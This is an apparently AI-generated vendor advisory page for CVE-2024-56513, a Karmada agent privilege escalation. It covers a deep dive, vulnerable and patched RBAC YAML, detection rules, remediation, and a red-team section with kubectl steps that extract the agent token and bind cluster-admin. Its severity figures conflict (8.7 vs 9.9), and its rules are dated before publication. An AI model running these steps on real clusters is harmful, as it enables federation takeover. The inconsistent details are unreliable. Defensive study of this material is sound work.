☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 8.7 🐛 CWE-266
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-56513

CVE-2024-56513 Privilege Escalation in Karmada
📅 PUBLISHED: 2025-01-03 16:11 UTC 🔄 UPDATED: 2026-10-11 17:42 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.49%
👁️
0.49% probability
12.3× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
8.7
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-56513 is a critical privilege escalation vulnerability in Karmada, a Kubernetes management system for multi-cluster orchestration. The flaw resides in the PULL mode cluster registration process via the karmadactl register command. Prior to version 1.12.0, clusters registered in PULL mode are granted excessive privileges to access the Karmada control plane resources. An attacker who can authenticate as the karmada-agent to a Karmada cluster can exploit these excessive permissions to escalate privileges and gain administrative control over the entire federation system, including all registered member clusters. This effectively allows a compromised or malicious agent to take over the entire multi-cluster environment.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

Karmada is a Go-based project distributed as a container image and CLI tool. The vulnerability is introduced in the source code of the karmadactl CLI and the karmada-agent component. Users who deploy Karmada via Helm charts, direct YAML manifests, or the official container images are affected. The supply chain risk is moderate, as the vulnerability is in the application logic rather than a dependency, but an attacker could exploit a compromised agent binary or image to gain initial access.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
  • Base Score: 9.9 (Critical)
  • Attack Vector (AV): Network (N) – The attack can be launched remotely.
  • Attack Complexity (AC): Low (L) – No special conditions are required.
  • Privileges Required (PR): Low (L) – The attacker needs to authenticate as the karmada-agent.
  • User Interaction (UI): None (N) – No user action is needed.
  • Scope (S): Changed (C) – The vulnerability allows the attacker to impact resources beyond the initial compromised component (the agent) to the entire federation.
  • Confidentiality (C): High (H) – Full access to all cluster secrets and data.
  • Integrity (I): High (H) – Ability to modify any resource in the federation.
  • Availability (A): High (H) – Ability to disrupt or destroy all member clusters.

Threat Level: Critical. The vulnerability enables a complete takeover of the multi-cluster environment from a single compromised agent.

Deep Dive & Mechanics

Karmada operates in two modes: PUSH and PULL. In PULL mode, the karmada-agent runs inside the member cluster and initiates communication with the Karmada control plane. The karmadactl register command is used to register a member cluster in PULL mode. The vulnerability arises because the default RBAC (Role-Based Access Control) configuration for the karmada-agent service account in the control plane grants overly permissive access to resources such as clusters, resourcebindings, work, and executionnamespaces. This allows the agent to not only manage its own cluster but also to read, modify, or delete resources belonging to other member clusters and the control plane itself.

An attacker who gains access to the karmada-agent credentials (e.g., via a compromised member cluster node, a leaked token, or a malicious insider) can use these excessive permissions to:

  1. List all registered clusters.
  2. Modify or delete cluster objects.
  3. Access and manipulate resource bindings to redirect workloads.
  4. Escalate to cluster-admin by creating new bindings or modifying existing ones.

The fix in v1.12.0 restricts the agent's permissions to only the resources necessary for its operation, following the principle of least privilege.

Vulnerable vs. Patched Code

The vulnerability is not in a specific code snippet but in the RBAC configuration generated by karmadactl register. The following illustrates the conceptual difference:

Vulnerable (pre-1.12.0) RBAC (ClusterRole for karmada-agent):

apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
  name: karmada-agent
rules:
- apiGroups: ["*"]
  resources: ["*"]
  verbs: ["*"]

Patched (v1.12.0) RBAC (ClusterRole for karmada-agent):

apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
  name: karmada-agent
rules:
- apiGroups: ["cluster.karmada.io"]
  resources: ["clusters"]
  verbs: ["get", "list", "watch", "update", "patch"]
- apiGroups: ["work.karmada.io"]
  resources: ["works"]
  verbs: ["get", "list", "watch", "update", "patch", "delete"]
- apiGroups: ["binding.karmada.io"]
  resources: ["resourcebindings"]
  verbs: ["get", "list", "watch"]
# ... additional minimal permissions

The patched version removes wildcard access and restricts the agent to only the specific resources and verbs required for its function.

Exploitation & Lab Setup

Red Team

Prerequisites:

  • A Karmada control plane running version < 1.12.0.
  • A member cluster registered in PULL mode.
  • Access to the karmada-agent service account token (e.g., from a compromised node or a leaked kubeconfig).

Exploitation Steps:

  1. Extract the agent token:

    # On a compromised member cluster node
    kubectl get secret -n karmada-system karmada-agent-token-xxxxx -o jsonpath='{.data.token}' | base64 -d
    
  2. Configure kubectl to use the agent token:

    kubectl config set-credentials attacker --token=<extracted_token>
    kubectl config set-context attacker-context --cluster=karmada-apiserver --user=attacker
    kubectl config use-context attacker-context
    
  3. Enumerate all clusters:

    kubectl get clusters --all-namespaces
    
  4. Escalate privileges by creating a new ClusterRoleBinding:

    kubectl create clusterrolebinding attacker-admin --clusterrole=cluster-admin --user=<attacker_user>
    
  5. Take over a member cluster:

    # Delete the agent's cluster object to disrupt its operation
    kubectl delete cluster <victim-cluster-name>
    # Or modify resource bindings to redirect workloads
    kubectl edit resourcebinding <binding-name>
    

Blue Team

Detection:

  • Monitor for unusual API calls from the karmada-agent service account, especially list and get on clusters and resourcebindings across namespaces.
  • Alert on any create or delete operations on clusterrolebindings or clusterroles by the agent.
  • Use the detection rules provided in the Detection Engineering section.

Hunting:

  • Review audit logs for the karmada-agent user performing actions on resources outside its expected scope (e.g., modifying clusterroles).
  • Check for any new ClusterRoleBinding objects that grant cluster-admin to unknown users.

Containment:

  • Immediately rotate the karmada-agent service account token.
  • Apply the patched RBAC rules manually (see Remediation & Mitigation).
  • Isolate the compromised member cluster from the control plane.

Indicators of Compromise (IOCs)

  • Network: Unusual API calls from a member cluster's IP to the Karmada API server with verbs like create, delete, patch on clusterrolebindings or clusterroles.
  • File System: Presence of a kubeconfig file with the karmada-agent token on a non-agent host.
  • Process: Unexpected kubectl or karmadactl processes running on member cluster nodes.
  • Kubernetes Objects:
    • New ClusterRoleBinding objects with cluster-admin role bound to unknown users.
    • Modified Cluster objects for other member clusters.
    • Deleted Cluster objects.
  • Logs: Audit log entries showing the karmada-agent user performing create, delete, or patch on clusterrolebindings or clusterroles.

Detection Engineering

YARA Rule

rule CVE_2024_56513_Karmada_PrivEsc {
    meta:
        description = "Detects kubeconfig files containing karmada-agent tokens with excessive permissions"
        author = "Valters IT"
        date = "2024-12-01"
        reference = "CVE-2024-56513"
    strings:
        $token = "karmada-agent-token" ascii wide nocase
        $clusterrole = "cluster-admin" ascii wide nocase
    condition:
        $token and $clusterrole
}

Sigma Rule

title: Karmada Agent Privilege Escalation
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects suspicious API calls from karmada-agent service account indicating privilege escalation (CVE-2024-56513)
author: Valters IT
date: 2024-12-01
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-56513
logsource:
    product: kubernetes
    service: audit
detection:
    selection:
        user.username: "system:serviceaccount:karmada-system:karmada-agent"
        verb: "create"
        objectRef.resource: "clusterrolebindings"
    condition: selection
falsepositives:
    - Legitimate administrative actions if the agent is misconfigured
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-56513 Karmada Agent Privilege Escalation - API Call to Create ClusterRoleBinding"; flow:to_server,established; content:"POST"; http_method; content:"/apis/rbac.authorization.k8s.io/v1/clusterrolebindings"; http_uri; content:"karmada-agent"; http_client_body; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Upgrade Karmada: Upgrade to version 1.12.0 or later. This is the official fix.
  2. Manual RBAC Restriction: If upgrade is not immediately possible, manually restrict the karmada-agent ClusterRole to the minimal permissions as documented in the Karmada Component Permissions Docs. Example:
    apiVersion: rbac.authorization.k8s.io/v1
    kind: ClusterRole
    metadata:
      name: karmada-agent-restricted
    rules:
    - apiGroups: ["cluster.karmada.io"]
      resources: ["clusters"]
      verbs: ["get", "list", "watch", "update", "patch"]
    - apiGroups: ["work.karmada.io"]
      resources: ["works"]
      verbs: ["get", "list", "watch", "update", "patch", "delete"]
    - apiGroups: ["binding.karmada.io"]
      resources: ["resourcebindings"]
      verbs: ["get", "list", "watch"]
    # Add other minimal permissions as needed
    
  3. Rotate Credentials: Rotate all karmada-agent service account tokens and any related secrets.
  4. Audit: Review audit logs for any signs of exploitation.

Long-Term Mitigations:

  • Implement network policies to restrict agent-to-API server communication.
  • Use a dedicated service account for each member cluster with minimal permissions.
  • Enable Kubernetes audit logging and monitor for suspicious activity.
  • Regularly review and update RBAC configurations.

Valters IT Signature This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-56513/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.